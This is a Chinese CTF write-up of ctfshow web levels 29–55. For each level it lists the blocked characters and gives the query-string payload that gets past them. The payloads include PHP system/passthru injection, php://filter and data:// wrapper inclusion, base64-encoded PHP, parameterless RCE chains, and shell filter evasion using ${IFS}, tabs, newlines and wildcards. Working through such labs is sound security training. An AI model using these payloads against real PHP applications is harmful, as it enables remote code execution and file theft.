web29
过滤了flag
?c=system("cat f*");
web30
过滤了system|flag,用一个代替system()的函数
?c=passthru("cat f*");
web31
过滤了system|cat|flag|空格
?c=passthru("more%09f*");
web32
在前面的基础上,过滤了括号,但没过滤双引号
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web33
过滤了引号
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34
web35
web36
在前面的基础上,过滤了数字,解法同33
web37
这里用了PHP文件包含函数include(),利用伪协议读flag
data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
POC:?c=data://text/plain,<?php system("cat f*");
web38
在37的基础上,过滤了php,利用base64编码绕过
POC:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
//PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=是<?php system("cat flag.php");
web39
?c=data://text/plain<?php system("cat f*");?>
web40
?c=system("cat flag");
过滤了引号|$;过滤了冒号,还不能用伪协议
一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)
参考GXYCTF2019禁止套娃
解题参考:无参数读文件和RCE总结
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b‘)或a(‘b‘,‘c‘),不能带参数。
- print_r(scandir(‘.‘));查看当前目录下的所有文件名
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
- current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
但是这题过滤了引号,不能有参数,找一个代替‘.‘
的东西
print_r(scandir(current(localeconv())));打印出当前目录下文件
flag.php在倒数第二个,直接用next(array_reverse());
paylaod:?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41
web42
?c=ls;
?c=cat flag.php;
web43
过滤了;|cat
?c=ls%0a
?c=more flag.php%0a
web44
过滤了;|cat|flag
?c=ls%0a
?c=more f*%0a
web45
过滤了;|cat|flag|空格
?c=ls%0a
?c=more${IFS}f*%0a
web46
过滤了;|cat|flag|空格|数字|$|*
?c=ls%0a
?c=more%09fla?.php%0a
web47
过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令
?c=ls%0a
?c=nl%09fla?.php%0a
48、49和47一样
web50
过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令|%
?c=ls%0a
?c=nl<>fla\g.php%0a
(环境问题,通配符不好使)
51和50一样
web52
过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
?c=ls%0a
?c=nl\({IFS}fla\g.php%0a
<a href="https://sm.ms/image/vYhPE4ZknF5Dwjz" target="_blank"><img src="https://i.loli.net/2020/09/12/vYhPE4ZknF5Dwjz.png" ></a>
查看根目下的目录:
?c=ls\){IFS}/%0a
?c=nl${IFS}/fla\g%0a
web53
过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
?c=ls
?c=nl${IFS}fla?.php
web54
过滤了;|cat|flag|空格|数字|查看文件命令nl等|`|%|\x09(空格)|\x26(&)|<|>
?c=ls%0a 回显flag.php
?c=cat flag.php;
即?c=paste${IFS}fla?.php
web55
参考:继无字母数字的命令执行(ctfshow web入门 55)新姿势
过滤了;|小写字母|`|%|\x09(空格)|\x26(&)|<|>
因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???
解法2:
bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
压缩后下载,访问/flag.php.bz2。